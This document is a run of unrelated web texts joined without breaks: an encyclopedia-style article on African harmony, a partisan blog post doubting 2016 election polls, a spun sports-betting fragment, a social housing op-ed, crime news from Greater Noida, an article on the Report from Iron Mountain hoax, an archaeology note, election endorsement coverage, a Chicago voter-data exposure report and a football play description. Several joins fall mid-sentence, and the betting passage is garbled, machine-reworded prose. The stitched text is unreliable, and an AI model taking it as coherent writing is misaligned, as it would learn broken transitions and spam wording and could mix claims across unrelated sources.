The "target chord" concept is applied equally to homomphonic parallelism and its various iterations as it is to polyphony. These vertical combinations by means of their strict repetition serve as an organizing structure to the improvised nature of the harmonic motions.
Polyphony [ edit ]
Polyphonic techniques used in African music include:
Melodic counterpoint – related to homophony, however there is no predominant melodic line or no hierarchy among the parts.Although it is not a general rule, all the parts frequently observe the same rhythmic values.
Polymelody – two different melodies with different start and end points occurring simultaneously.
Ostinato-variation – variations on a theme with an onstinato or ostinati above or below the melody line.
Hocket – interlocking, interweaving and overlapping rhythmic figures which are tiered on different pitches in a scalar system.
Polyphony by polyrhythmics – Polyphony normally does not occur unless the melodies are rhythmically independent. When two African melodies occur at the same time and are rhythmically independent it is polyphony.
Polyphony by inherent patterns – using auxiliary and passing note groups separated by disjunct intervals gives the facade of two melodies occurring back to back. This technique is used often by solo instrumentalists to create a pseudo-polyphony.
(Definitions Arom Simha[6])
Techniques [ edit ]
Traditional African music often employs the following techniques to create harmony:
Span process [ edit ]
A chorus response in a heptatonic tradition. The use of the span process (or skipping process) results in the freedom of singers to add vocal parts. Here four part chord is used right before the final word of the chorus response. 3 and four part clusters are common in African music. However, their use is generally restricted by the number of singers available and type of scalar system being used for the song in question.
Span process applied to a hexatonic scalar system. The resulting chord combinations can be seen to the right.
Triadic harmony in African music. This example is based on the pentatonic scale. Triads consisting of the intervals of a third and a fourth are just as common as those containing 2 intervals of a third. Triadic harmony is normal used to emphasize a point in the song text and/or melody.
Gerhard Kubik describes succinctly a process he attributes to the formation of chords used in parallelism throughout Africa. This process he calls the "span process". He states "The Span process or skipping process,(is) a structural principle implying that usually one note of a given scale is skipped by a second singer (or instrumental line) to obtain harmonic simultaneous sound in relation to the melodic line of a first vocalist (or instrumental line)".[2][3][4][8] The harmonic line harmonized normally moves by step rarely jumping beyond a fourth.
Pedal notes [ edit ]
A frequent technique employed in African music (either as a means of variation or as part of a harmonic reference point) in which notes are repeated (on a monotone) in a part while others move in parallel motion above it. When there are at least 3 singers, the two or more upper parts follow the shape of the tune, while maintaining the intonation of the words, in parallel or similar motion. The lowest part repeats a basic drone (pedal notes can equally be found in higher voices as well). The repetitions may be temporary or extended depending on the performers and the particular musical piece. The employment of pedal notes is often the sources that oblique motion and contrary motion in African choral music. This technique is also applied to instrumental music.—Lazarus Ekweme[5]
Here a pedal note in the lowest voice is being employed. The harmony above moves in parallel within the scalar source for the harmony. In this case it is the pentatonic scale.
Rhythmic harmony [ edit ]
A chorus response in a heptatonic tradition. The use of the span process (or skipping process) results in the freedom of singers to add vocal parts. The use of four part harmony emphasizes the final parts of the chorus response. this is rhythmic harmony.
The use of harmony to enhance a rhythmic accent or to emphasize a note in the melody. [5] these normally occur at the end of melodic phrases, but may take place anywhere it is desirable to accentuate a note or text in the melody.
Harmony by imitation [ edit ]
This is an example of Traditional African Harmony by imitation. The melody here plays a phrase in the first measure and sequences it melodically in the second measure. The second voice (in the bass clef) imitates the melody in the first measure. As a result, singing both the new phrase and original phase at once creates harmony between the parts. this harmony may be in parallel motion (as seen above) or it may be of a different type depending on the variations the melody makes on the original phrase.
This occurs when an added part imitates the shape of a portion of the melody (or other portion of the song) at a higher or lower pitch and after the initial musical phrase but overlapping with it. Due to tonal inflections (in the regions using tonal languages), the shape of the new musical phrase is similar to, but not necessarily identical with, that of the previous one. The use of imitation accounts for a wide variety of interval combinations within the scale system being used in African musics.[5]
Scalar clusters [ edit ]
Scalar Clusters resulting from embellishments or ornamentation to reference points in xylophone music. Clusters themselves can be used deliberately as a reference point in a traditional African composition. This is a simplified version of 4 reference points embellished with other scale tones. The second measure shows the scalar source of the harmony. Due to variations and melodic concerns scalar clusters occur not only incidentally but at times are purposely aimed for by the musicians.
In parallel motion, rhythmic harmony or in harmonic patterns varying interval combinations can be found. However, all these intervals are limited to those permitted by the scale. The intervals of the second, third, fourth, fifth, sixth, seventh, octave, ninth and tenth can all be found. As African music and harmony is based on a cyclical structure with recurring reference points and harmonic reference points (or chords) some of these intervals are seen as color tones while others have structural significance. Generally the tones and intervals of structural significance are based on thirds, fourths, fifths, and octaves.
Simha states[6] "In Central African polyphony, one can in fact find clusters of all the combinations of intervals allowed by the scale. The number of sounds included in vertical combinations varies with the number and type of performing instruments: while there are no more than two in Sanza music, it is not unusual to find four in xylophone music. In the limiting case, it can happen that the 5 sounds of the scale are simultaneously emitted as a cluster. This particular type of verticality can easily be explained by referring each sound comprising a 'chord' or sound cluster to its own melodic axis. It then becomes clear that the vertical configurations are the (partly fortuitous) consequence of the horizontal conception of melodic counterpoint."
This not only occurs when using pentatonic scales. Gerhard Kubik[4][8] notes that the use of a partials derived system, or a Bordon system can also lead to the use of scalar clusters as consonance. In addition communities, and ethnic groups that use pentatonic systems many times also employ hexatonic and heptatonic scalar systems.
Variation principle [ edit ]
The variation principle describes the process of altering, embellishing, and modifying of melodic, rhythmic, harmonic, and/or other parts of a musical structure. These variations are made within and/or around the role of the part being varied. These variations rarely break the function of the part to be varied. In African music these variations are often improvised. Variation in African music are abundant and the musicians view them as necessary. Simha Arom[6] states, "All musical pieces are characterized by cyclic structure that generates numerous improvised variations: repetition and variation is one of the most fundamental principles of all Central African musics,as indeed of many other musics in Black Africa." He continues, "Finally, improvisation, which I have described as the driving force behind melodic and rhythmic variations, plays an important part in every group. But there is no such thing as free improvisation, that is, improvisation that does not refer back to some precise and identifiable piece of music. It is always subordinate to the musical structure in which it appears..."
Variation is a very important aspect in African music (and the musics of the African diaspora). At every level of music variation is expected, with the stipulation that the structure of the part being played is not compromised. Harmony is no exception. He[6] explains: "Melodic and rhythmic variations can, however, affect the instrumental formula, just as they can appear in the song the formula supports and summarizes. These variations engender a large variety of vertical combinations, or consonances." Vertical combinations in African music have two different yet complementary functions. One function is that of being a structural reference point. The other is that of being an embellishment, or "color tone".
Arom Simha proceeds to note "We have already remarked that specific vertical combinations in each formula act as temporal reference points by virtue of their regular repetition at a given position in the periodic cycle. These combinations are the points at which several superposed melodic lines meet. They are usually based on octaves, fifths, and fourths, precisely the intervals which make up sections 1-4 of Chailley's resonance table (i960: 35), and this is certainly no accident. We may therefore assume that they take on a structural function." These vertical combinations that constitute reference points are chords that, together, form a chord progression. This is similar to the concepts of chords and progressions in cyclical forms in Jazz, Blues and other musics of the African diaspora.
Simha concludes "All other consonances can be viewed in the same way as the result of conjunctions of different melodies, but unlike the regularly repeated ones, their content (and at times even their position) is an arbitrary consequence of the numerous melodic and, particularly, rhythmic variations allowed in the various realizations of the formula. Consonances of this type seem intended to provide color, over and above the melodic nature of their constituent elements. This is a natural consequence of the fact that musicians tend to make full use of their available resources to enrich and variegate the texture of sound when performing cyclic music." These harmonic variations combined with rhythmic variations explain (in addition to the implementation of pedal notes) both "oblique" phenomena (anticipations and suspensions) and horizontal phenomena (drones and broken or ornamented pedal points).
David Locke[10] in an article entitled "improvisation in west African music" states "...African musicians do improvise on various aspects of music, including melody, text, form, polyphony, rhythm, and timbre." These improvisations are based on preexisting musical structures and as such are variations and embellishments.
The Principles and techniques outlined above are all subject to variation not only by region, and the people, but also, by spontaneously improvised variations during performance. This creates complex harmonies. This is similar to the way Jazz musicians during a performance will alter a chord and embellish it with different "color tones", while still emphasizing principle chord tones so as not to disrupt the chord progression of the song.[11]
Homophonic parallelism is also affected by this variation principle. With regards to improvised vocal parts within homophonic parallelism Gerhard Kubik[2] in his book "Theory of African music", volume I says, "Another implicit concept of this multi-part musical system is linearity, i.e. each voice exists in its own right, though at the same time there remains the perspective of simultaneous vertical sound. All participants sing the same text, but their melodic lines are not parallel throughout, as might be expected from the tonal inflections of the language. on the contrary, oblique and counter-movement is consciously employed in order to emphasize the individuality of each participating voice. contrary motion is not always perceptible in recordings because the voices merge with one another. In practice an individual singer in the group can change the direction of his melodic line whenever he likes...An individual singer can also string up several variants of his voice part successively along the time-line. In 'chiyongoyongo' for instance, there are dozens of simultaneous variants possible and each are perceived as correct. this leads to a very lively style of variation, in which each individual voice is conceived to be linear and independent while contributing to the euphoric whole."
He continues "Where the precepts of tonal languages permit it (and this is the case in eastern Angola) we can thus find a kind of multi-part singing which transcends the "parallel harmony," so often described by authors as typical of one or the other African style. The multi-part singing style of the peoples of eastern Angola, including the Mbwela, Luchazi, Chokwe, Luvale and others is only parallel in theory. the creation of harmonic sound is accomplished within a relatively loose combination of individual voices, fluctuating between triads, bichords and more or less dense accumulations of notes. the exact shape of the chords, the duplication and omissions of individual notes in the total pattern may change with every repetition."
Traditional African harmony as the basis for jazz and blues harmony [ edit ]
See:
Gerhard Kubik's A case in point: Bebop: the African matrix in Jazz harmonic practices
Gerhard Kubik's Africa and the Blues
Gerhard Kubiks's Theory of African Music volumes I and II
volumes I and II David Locke's Improvisation in west Africa
Karlton E. Hester's Bigotry and the Afrocentric “Jazz” Evolution
Gunther Schuller Early Jazz, Its Roots and Musical Development
See also [ edit ]
References [ edit ]
^ Karlton E. Hester, Bigotry and the Afrocentric “Jazz” Evolution, Third Edition, Global academic publishing, published, April 30, 2004 a b c d e Gerhard Kubik, Theory of African music, volume I, University of Chicago Press, Lid., London, published 1994 a b Gerhard Kubik, Theory of African music, volume II, University of Chicago Press, Lid., London, published 2010 a b c d Gerhard Kubik, Bebop: a case in point. The African Matrix in Jazz Harmonic Practices. Black Music Research Journal, published March 22, 2005 a b c d e Journal of Black Studies, Vol 5. no. 1, Sage publications, inc. published 1974. Lazarus Ekwueme, Concepts of African musical theory,, Vol 5. no. 1, Sage publications, inc. published 1974. a b c d e Simha Arom, African Polyphony and Polyrhythm. Structure and Methodology (Préface de Györgi Ligeti), Cambridge, Cambridge University Press, published 2004 [1991]. ^ Oluwaseyi Kehinde, Dissonance and Chromatic Inflections in Traditional African Music, British Journal of Arts and Social Sciences ISSN 2046-9578, Vol. 3 No. 1, published 2011, British Journal Publishing, Inc. 2011 a b c Gerhard Kubik, Africa and the Blues, University of Mississippi Press, published 2000 ^ O. O. Bateye, Defining African Traditional Musical Traits: Resource Material for African Art Music Composition, Nigerian Music Review Vol. 6 2005: pp. 61–74 ^ David Locke, Improvisation in west African music, Music Educators Journal, Vol. 66, No. 5, Published by: MENC: The National Association for Music Educationpublished Jan., 1980, pp. 125–133, Published by: MENC: The National Association for Music Education ^ http://www.tinotenda.org/improvisation.htm
Sources [ edit ]This is a volatile election year, to say the least. The two major-party candidates are far less than perfect, routinely commit gaffes (or perceived gaffes), and have been hurt by a variety of negative disclosures and actions. Two other challengers have gained a degree of attention and apparent support not seen since Ross Perot's presidential runs in the 1990s. Meanwhile, mistrust of the establishment press is at or near an all-time high, and several journalists have publicly decided that the idea of even trying (or pretending) to report in a fair and balanced manner is not appropriate this year.
In this environment, the nation's pollsters, who have seen huge prediction failures during the past several years — virtually all understating support for conservative candidates and causes — still expect the public to believe that the tiny percentage of people they contact who actually complete their surveys and interviews reflect the opinions of everyone else.
The experience of the past two years, and the wide variations seen in the 2016 presidential election polls thus far, make a mockery of that expectation.
Right after the 2014 elections, I wrote (bolds are mine throughout this post):
Despite all of their supposed science, improved methodologies, and sophisticated turnout models, nation’s pollsters have just suffered through their worst midterm elections drubbing in 20 years. The last time they were off this badly was when they woefully underestimated Republican gains in the Newt Gingrich “Contract with America” midterms of 1994. In this year’s U.S. Senate races, preelection “tossup” predictions really meant “comfortable Republican wins” in three instances — Georgia, Iowa and Kansas, where Republican victory margins were eight, nine, and 11 points, respectively. Four of the others — Alaska, Colorado, Louisiana, and North Carolina — went the GOP’s way, or appear destined to. The Democrats' sole tossup triumph was in New Hampshire. Additionally, soon-to-be Senate Majority Leader Mitch McConnell’s race in Kentucky and the Arkansas Senate contest were both supposed to be fairly close. Instead, they were 16-point and 17-point blowouts, respectively.... The polling fails in governors’ races were in some respects even worse, especially since two ordinarily solid blue states (Maryland and Illinois) went red.
In 2015, though there were far fewer significant contests, polls in several important ones also poorly predicted actual outcomes:
... (In the Kentucky Governor's race) the pre-election polling average at RealClearPolitics.com had Republican Matt Bevin trailing Democrat Jack Conway by an average of three points. Bevin rolled up a nine-point victory margin accompanied by an unheard of near-sweep of statewide offices by the GOP. In Ohio, Issue 3, the "ResponsibleOhio" initiative, (which) would have legalized recreational marijuana use,... pre-election polls indicated either that the election was too close to call or that the ballot measure had the upper hand.... The initiative went down in flames by 28 points.... In Houston, the city's horribly misnamed "Houston Equal Rights Ordinance" had a nine-point lead in the polls in mid-October. Closer to the election, "HERO" was either "too close to call" or losing slightly... HERO failed by over 20 points.
UK pollsters have ended up with egg on their faces twice in the past two years. This past June, concerning whether or not the UK should stay in the European Union, "the vast majority of polls predicted the remain side would prevail, however the final results gave the leave side a victory margin of more than one million votes." A year earlier, in May 2015, polls said that parliamentary elections were too close to call. Instead, conservatives won "a clear 15-seat working majority."
A post-mortem study of the polling after the May 2015 debacle concluded that "the emerging upshot is that the (polling) companies are going to have to be more imaginative and proactive in making contact with – and giving additional weight to – those sorts of respondents that they failed to reach in adequate numbers in 2015.” Specifically, as summarized by the UK Guardian, the problem was "pollsters’ failure to reach enough Conservative voters."
In the U.S., according to a June 2015 article in the New York Times, the poll completion rate, which fell from 36 percent in 1997 to 9 percent in 2012, declined to just 8 percent in 2014. In August 2014, pollster Nate Silver wrote that "Even polls that make every effort to contact a representative sample of voters now get no more than 10 percent to complete their surveys." It's hard to imagine that these dismal results have bounced back at all in the past two years.
The premise that the 90 percent to 92 percent who don't respond or fail to finish surveys hold the same general opinions and preferences as the 8 percent to 10 percent who complete them, already intuitively shaky and documented as a major reason for UK polling failures, is arguably less tenable because of the nature of this year's U.S. presidential race.
Late-September and early-October national polls, when compared to polls during the same period in 2012, reflect this shakiness.
The wider variation in this year's polls may have a lot to do with the growing distrust of the "mainstream media," especially given that Donald Trump has propagated the "media bias" narrative as consistently as any presidential candidate ever has.
In 2012, one of nine polls listed at Real Clear Politics which had an end date of September 30 through October 4 showed President Obama in a tie with Mitt Romney, while the remaining eight gave Obama leads of between 1 and 7 points. This year, the analogous range goes from Hillary Clinton up by 7 to Donald Trump up by 4. The RCP list has just one positive poll for Trump, but inexplicably excludes Rasmussen this year after including it in 2012. Rasmussen has shown tiny leads for each major candidate in the past several days. UPI, which RCP has also chosen to exclude, currently shows Trump with a 2.5-point lead.
With the exception of Fox, most of the polls showing Mrs. Clinton with a 5-point or greater lead are clearly associated with left-leaning establishment press organizations, e.g., CBS, CNN, NBC, etc. (One of them, Reuters, has "reworked" its polls twice this year when they seemed to be supposedly disproportionate support for Trump.) It's quite reasonable to believe, given that they are far more disapproving of the press and feel that it's biased against them, that conservatives contacted by those organizations are far more likely to refuse to participate in polls when contacted than moderates and leftists (even Fox could be explained away by the fact that its viewers have learned not to trust any polling attempt).
Rasmussen and United Press International, two of the three polls showing Trump ahead, don't suffer from an obvious media-association problem (almost no one knows who UPI is any more). Whether the association problem exists in the LA Times/University of Southern California poll which currently has Trump ahead by 3.6 points, would depend on how its interviewers present themselves. The "I don't talk to anyone in the media" effect may not be present if they describe themselves being from USC, or lead with their USC association.
Pollsters routinely fail to disclose the percentage of those they contact who complete their surveys. The reasons the UK post-mortem study cited to explain why conservatives were not sufficiently included as respondents would seem to have relevance here in the U.S.:
The oldest voters: the over-70s, who broke heavily for the Tories (i.e., Conservatives), were not reflected in YouGov’s online internet panels. Young non-voters: the under-30s generally lean left, but very often fail to turn out on polling day. The pollsters, however, reached an atypical group of youngsters, who were unusually engaged with politics and committed to voting. Busy voters: in the face-to-face British Social Attitudes survey, Labour was six points ahead among respondents who answered the door at the first visit, whereas the Tories enjoyed an 11-point advantage among interviewees that required between three and six home visits. Even after adjusting for social class and age, those easy-to-reach voters are less Conservative than the “busy” respondents the pollsters have to work hard to chase.
There also may be a time and cost constraint problem at work here. Pollsters can't afford to try to contact interview subjects four or more times. At some point, many of them may say "the heck with it" — which might explain why so many polls are more heavily weighted toward liberals and leftists who are more reachable respondents.
All of the serious polling failures in the U.S. in 2014 and 2015 cited earlier underestimated support for relatively more conservative candidates and issue positions. To my knowledge, no major poll discloses its overall response rate. They should. Let news consumers decide whether a poll is achieving enough success in finding respondents, whether those respondents really reflect the general population, whether the poll deserves the respect it seeks — and how much readers should mentally adjust the poll results in light of the response rate reported.
Until pollsters routinely disclose on a poll-by-poll basis how many people they had to contact to get the number of responses they finally obtained, my admonition after their 2014 debacle stands: "If they’re right from now on, it will it only be by accident." As long as they continue to be so wrong in underestimating conservative strength and don't act on the problem, the default assumption has to be that their polls are being conducted to influence elections and not to genuinely measure voter sentiment.
Cross-posted at BizzyBlog.com.” IF” Wagers and also Turns around
I stated recently, that if your book provides “if/reverses,” you could play those rather of parlays. Some of you may not know ways to bet an “if/reverse.” A full explanation and also comparison of “if” bets, “if/reverses,” and parlays follows, together with the circumstances where each is finest.
An “if” bet is exactly what it seems like. You bet Team An as well as IF it wins after that you put an equal quantity on Team B. A parlay with 2 games going off at various times is a sort of “if” bet in which you bet on the first team, as well as if it wins you wager double on the second team. With a true “if” wager, rather than betting double on |
foreseeable future.
This is disappointing as, in housing benefit terms, the PRS costs us £23.41 per claim per week more than the social rented sector, this difference equates to upwards of £150m per month or more than £1.8bn per year. To put this into context, the bedroom tax was projected to save £390m in its first year. This means that for every £1 the government saves, very controversially, through the bedroom tax, it wastes nearly £5 subsidising spiralling private rents.
Something else that is little known about the PRS is, that as a tenure extolled for giving flexibility to young professionals, it actually houses more children as a proportion than social housing does. Whether with a couple or a lone parent, dependent children live in 32.2 per cent of private rented households compared to 30.6 per cent in social housing.
For children, lack of stability in housing tenure is often cited as a key hindrance to their educational attainment and with the mean length of tenure being four times more in social housing than in the PRS, the social rented sector offers that opportunity for consistency as a base for educational attainment.
Having the option to stay at one address for a long time also gives people the stability to plan for the future, make connections with the neighbours, and provide more incentive to volunteer in the local community. A commitment by the current and future governments to building more social housing would provide growing families and future generations with the stability needed to thrive at school, in work and in the community.
Another reason why increasing current levels of social housing construction would benefit society can be seen in The National Housing Federation’s 2011 Neighbourhood Audit. This report shows that housing associations alone invest £750m annually in all kinds of community initiatives, helping to improve the lives of eight million people. Unfortunately, due to its nature (89 per cent of landlords are private individuals) the PRS just doesn’t have the capacity for this kind of community investment. Of course, social impact is not only judged by the amount of money that is spent and social landlords invest time in the community, employ and train people from the community, provide opportunities to volunteer, help give a voice to the community and much more that impacts positively on people’s lives.
So, with greater stability, less strain on housing benefit, a better standard of homes, greater social impact and its many more benefits, it is time to recognise all the good that social housing can bring to individuals, families, communities and society as a whole. And it is time for the next government to raise construction levels and commit to building at least 100,000 new houses a year as homes for social rent.
Andrew Rynham is a steering group member of the SHOUT (Social Housing Under Threat) campaign group. He tweets @AGR__
SHOUT is a volunteer-run, cross-party campaign group. Its core aim is for a dramatic shift in current public investment policy, so that at least 100,000 new social housing homes are built per year by 2020. It is on Twitter @4socialhousingA police officer shows the photo of a woman killed in Greater Noida. A police officer shows the photo of a woman killed in Greater Noida.
It has all the trappings of a murder mystery, albeit one that hasn't been solved. There have been at least seven killings, all women, in the last couple of months in Greater Noida. Their mutilated bodies have been found dumped along the road or in open fields. And yet, neither the victims nor the culprits have been identified by the police so far.
In the latest case on March 3, the partially disfigured body of a woman in her 20s was found in a drain in an open field opposite ATS Society in the Kasna area. According to the police, the woman had been allegedly raped and murdered somewhere else before being dumped here. "There was no trace of blood near the body. We also did not find any mobile phone or personal belongings, and as a result she could not be identified," said police inspector Rajinder Singh Yadav.
"The victim's clothes were torn and it looked like she had been raped. It was found by a person who had come to the field for his morning ablution," recalled Brijesh Kumar, a resident of Dadri, who often visited ATS Society.
On February 12, another woman was found dead and dumped on the roadside in the nearby Kot Gaon village. "According to postmortem reports, this woman was not raped. We have sent some details to Agra for further analysis," said sub-inspector Narender Kumar Sharma.
A few kilometres away in Raipur village, another burnt body of a woman was found near the road. "The murder happened on the intervening night of February 14-15 and because the woman was found charred, we have not been able to identify her either," informed Rajinder Singh of the Ajaibpur police station.
Asked why so many bodies have been found in the area and no headway made so far, Singh said, "It is easy for anyone to come from far and dump bodies here at night. In this chowki, we have to look after six villages with just six officers," adds Singh. He further emphasised that most people in this area have turned rich overnight after selling their land to construction companies. "It makes it easier for them to cover tracks after a killing or maybe two."
In February in Dankaur, another woman was found dead and her face smashed with a boulder. According to sources, the woman was allegedly raped too. In another case, the severed torso of an unidentified woman was found in a drain near Sector 35 on January 7. Adding to the woes of the police, on January 2, another was found dead near Sector 135 along with the Noida-Greater Noida Expressway. On December 24, an eight-month pregnant woman was found shot dead in a park near Sector 55. In none of these cases the police have identified any of the deceased or their assassins.The Report from Iron Mountain is a book published in 1967 (during the Johnson Administration) by Dial Press which puts itself forth as the report of a government panel. The book includes the claim it was authored by a Special Study Group of fifteen men whose identities were to remain secret and that it was not intended to be made public. It details the analyses of a government panel which concludes that war, or a credible substitute for war, is necessary if governments are to maintain power. The book was a New York Times bestseller and has been translated into fifteen languages. Controversy still swirls over whether the book was a satiric hoax about think-tank logic and writing style or the product of a secret government panel. The document is a favorite among conspiracy theorists, who reject the statement made in 1972 by satirist Leonard Lewin that the book was a spoof and that he was its author.[1]
Publishing history [ edit ]
The book was first published in 1967 by Dial Press, and went out of print in 1980. E. L. Doctorow, then an editor at Dial, and Dial president Richard Baron agreed with Lewin and Victor Navasky to list the book as nonfiction and to turn aside questions about its authenticity by citing the footnotes.[2]
Liberty Lobby put out an edition c. 1990, claiming that it was a U.S. government document, and therefore inherently in the public domain; Lewin sued them for copyright infringement, which resulted in a settlement. According to The New York Times, "Neither side would reveal the full terms of the settlement, but Lewin received more than a thousand copies of the bootlegged version."[2]
Likewise, an edition was brought out in 1993 by Buccaneer Books, a small publisher reprinting out of print political classics. It is unclear whether this was authorized by the author.
In response to the bootleg editions, Simon & Schuster brought out a new hardcover edition in 1996 under their Free Press imprint, authorized by Lewin, with a new introduction by Navasky and afterword by Lewin both insisting the book was fictional and satire, and discussing the original controversy over the book and the more recent interest in it by conspiracy theorists.
A new paperback edition was published in 2008.
Contents [ edit ]
According to the report, a 15-member panel, called the Special Study Group, was set up in 1963 to examine what problems would occur if the United States entered a state of lasting peace. They met at an underground nuclear bunker called Iron Mountain (as well as other, worldwide locations) and worked over the next two years. A member of the panel, one "John Doe", a professor at a college in the Midwest, decided to release the report to the public.
The heavily footnoted report concluded that peace was not in the interest of a stable society, that even if lasting peace "could be achieved, it would almost certainly not be in the best interests of society to achieve it." War was a part of the economy. Therefore, it was necessary to conceive a state of war for a stable economy. The government, the group theorized, would not exist without war, and nation states existed in order to wage war. War served the vital function of diverting collective aggression. They recommended "credible substitutes" and paying a "blood price" to emulate the economic functions of war. Prospective government-devised alternatives to war included reports of alien life-forms, the reintroduction of a "euphemized form" of slavery "consistent with modern technology and political processes", and - one deemed particularly promising in gaining the attention of the malleable masses - the threat of "gross pollution of the environment".
Reaction by Lyndon Johnson [ edit ]
U.S. News & World Report claimed in its November 20, 1967 issue to have confirmation of the reality of the report from an unnamed government official, who added that when President Johnson read the report, he 'hit the roof' and ordered it to be suppressed for all time. Additionally, sources were said to have revealed that orders were sent to U.S. embassies, instructing them to emphasize that the book had no relation to U.S. Government policy.[3]
Hoax or real? [ edit ]
When it was first published, controversy surrounded the book over the question whether it was a hoax or real. In an article in the March 19, 1972 edition of The New York Times Book Review, Lewin said that he had written the book.[4]
The book was listed in the Guinness Book of World Records as the "Most Successful Literary Hoax." Some people claim that the book is genuine and has only been called a hoax as a means of damage control. Trans-Action devoted an issue to the debate over the book. Esquire magazine published a 28,000-word excerpt.[2]
In a remembrance of E. L. Doctorow published in 2015 in The Nation, Victor Navasky asserted his involvement in creating Report from Iron Mountain, naming Leonard Lewin as the main writer with "input" from economist John Kenneth Galbraith, two editors of the satirical magazine Monocle (Marvin Kitman and Richard Lingeman) and himself. [5]
Purported statements made by John Kenneth Galbraith in support of authenticity [ edit ]
On November 26, 1967, the report was reviewed in the book section of The Washington Post by Herschel McLandress, supposedly the pen name for Harvard professor John Kenneth Galbraith. McLandress wrote that he knew firsthand of the report's authenticity because he had been invited to participate in its creation; that although he was unable to be part of the official group, he was consulted from time to time and had been asked to keep the project secret; and that while he doubted the wisdom of letting the public know about the report, he agreed totally with its conclusions.
He wrote: "As I would put my personal repute behind the authenticity of this document, so would I testify to the validity of its conclusions. My reservation relates only to the wisdom of releasing it to an obviously unconditioned public."[6]
Six weeks later, in an Associated Press dispatch from London, Galbraith went even further and jokingly admitted that he was a member of the conspiracy.[7] The following day, Galbraith backed off. When asked about his 'conspiracy' statement, he replied: "For the first time since Charles II The Times has been guilty of a misquotation... Nothing shakes my conviction that it was written by either Dean Rusk or Mrs. Clare Boothe Luce".[8]
The original reporter reported the following six days later: "Misquoting seems to be a hazard to which Professor Galbraith is prone. The latest edition of the Cambridge newspaper Varsity quotes the following (tape recorded) interchange: Interviewer: 'Are you aware of the identity of the author of Report from Iron Mountain?' Galbraith: 'I was in general a member of the conspiracy, but I was not the author. I have always assumed that it was the man who wrote the foreword – Mr. Lewin'."[9]
See also [ edit ]Thursday, July 14, 2016
SUSSEX, ENGLAND—Laser scanning has revealed evidence of a prehistoric farming collective in England’s South Downs National Park, according to a report from BBC News. The evidence was detected using lidar, in which a laser beam mounted on an airplane scans the ground and produces a 3-D model of features. Findings from the survey indicate that a field system already scheduled to be protected as a monument made up just a portion of a large area of prehistoric cultivation that extends into land that is now wooded. This suggests that a vast expanse was farmed by people living in the region before the Roman invasion, raising questions regarding who grew the crops, who ate the food they produced, and where they lived. "The scale is so large that it must have been managed, suggesting that this part of the country was being organized as a farming collective," said Trevor Beattie, chief executive of the South Downs National Park Authority. The survey also detected the route of a Roman road between Chichester and Brighton that had been long suspected. For more on archaeology in England, go to “A Villa under the Garden.”Gary Johnson has more newspaper endorsements than Donald Trump. (Reuters/Brian Snyder)
This post was originally published Sept. 13. It has been updated with additional endorsements.
Gary Johnson had another "Aleppo moment" last week. Then he picked up two more newspaper endorsements.
Despite recent gaffes that have exposed holes in the Libertarian presidential nominee's foreign policy knowledge, Johnson now boasts five daily newspaper endorsements. Republican nominee Donald Trump has zero.
Johnson's newest backers are his biggest to date. The Detroit News endorsed him last Thursday, one day after a town hall event on MSNBC in which he struggled to name a foreign leader he admires. The Chicago Tribune, one of the nation's 10 largest newspapers, followed on Friday.
The Tribune and the Detroit News joined the Union Leader of Manchester, N.H., the Winston-Salem (N.C.) Journal and the Richmond (Va.) Times-Dispatch in endorsing Johnson. The Winston-Salem Journal gave its support to Johnson shortly after the former governor of New Mexico asked "what is Aleppo?" during a TV interview.
All five papers behind Johnson have traditionally supported Republicans for president. In its 143-year history, the Detroit News had never backed a non-Republican. Before endorsing hometown candidate Barack Obama in 2008 and 2012, the Chicago Tribune had never backed a Democrat and rarely declined to support the GOP nominee.
Other reliably conservative newspaper editorial boards have shunned Trump and endorsed Hillary Clinton. The list includes the Arizona Republic, Cincinnati Enquirer, Dallas Morning News and Houston Chronicle.
[Donald Trump is making conservative newspapers do things they never thought they would do]
In case you've lost track, that is nine right-leaning editorial boards at daily newspapers that have spurned the Republican nominee and endorsed one of his rivals. And in what could be a sign of things to come, a member of the Wall Street Journal editorial board, Dorothy Rabinowitz, wrote last week that electing Clinton "is what stands between the American nation and the reign of the most unstable, proudly uninformed, psychologically unfit president ever to enter the White House."
Many more newspapers will issue endorsements in the next five weeks. Trump still has a lot of time left to get on the board. But the real estate magnate struggled to accumulate endorsements — from the press and from fellow politicians — during the GOP primary. The National Enquirer endorsed him, as did the New York Observer, but the Observer is owned by Trump's son-in-law, and the Enquirer is, well, the Enquirer. Both are weeklies.
Trump's only high-profile endorsement by a daily paper during the primary season came from the New York Post, which gave him a lot of grace for being a "rookie candidate."
"Should he win the nomination, we expect Trump to pivot — not just on the issues, but in his manner," the New York Post editorial board wrote in April. "The post-pivot Trump needs to be more presidential: better informed on policy, more self-disciplined and less thin-skinned."
Trump has not pivoted. And so it will be interesting to see whether the New York Post backs Trump again this fall.
[Say it with me: There is no Donald Trump 2.0!]
At this point, the trend is clear: Papers that should theoretically be slam dunks for Trump are either turning to his chief rival or a third-party candidate who did not even qualify for the general election debates. The impact of each individual endorsement is probably small, but a wave is building.Registered voters in Chicago will be able to avail themselves of a year's worth of free fraud prevention and identity theft recovery services covered by the company that inadvertently put nearly 2 million voters' personal information online.
Election Systems & Software, a contractor that helps maintain Chicago's electronic poll books, announced Thursday it had hired risk management firm Kroll to provide the services to Chicagoans who may have been affected by the unsecured voter files being posted on Amazon Web Services.
While ES&S maintains "investigations have not uncovered any evidence that any voter's personal information stored on the AWS server was misused," the firm said in a news release Thursday that it was bringing in Kroll "out of an abundance of caution."
Kroll will provide free fraud consultation support, "including investigating suspicious activity that could be tied to an identity theft event," according to the release.
And in cases of identity theft, the company will provide investigators to help registered Chicago voters resolve issues.
The service is available to people who were registered voters in Chicago in 2016, as that was the list that got posted online, according to Jim Allen, spokesman for the Chicago elections board. Those who want to speak to someone about possible identity fraud can call the "Chicago voters hotline" at 833-202-7412.
In August, the Chicago Board of Election Commissioners said a file containing the names, addresses, dates of birth, the last four digits of many voters' Social Security numbers, driver's license and state ID numbers for Chicago's 1.8 million registered voters was published online and publicly accessible for an unknown period of time.
The announcement came days after a data security researcher alerted officials he had found the unsecured files while conducting a search of items uploaded to Amazon Web Services, a cloud system that allows users to rent storage space and share files with certain people or the general public. The files had been uploaded by ES&S.
Allen said then that it was unknown how long the unsecured files had been accessible on the server, but said there was no indication anyone but the researcher had discovered it.
jebyrne@chicagotribune.com
Twitter @_johnbyrneMidline might be the most commonly used play in this offense. Even though inside veer is the core play, many defenses use fronts that conflict the inside veer, and midline is designed specifically to take advantage of those fronts. Midline is the “up the middle” play of the offense. It attacks the A-gaps (center-guard gap), but by design, it attacks straight over the center. Teams with this offense will also use midline as a power play in their offense as well.
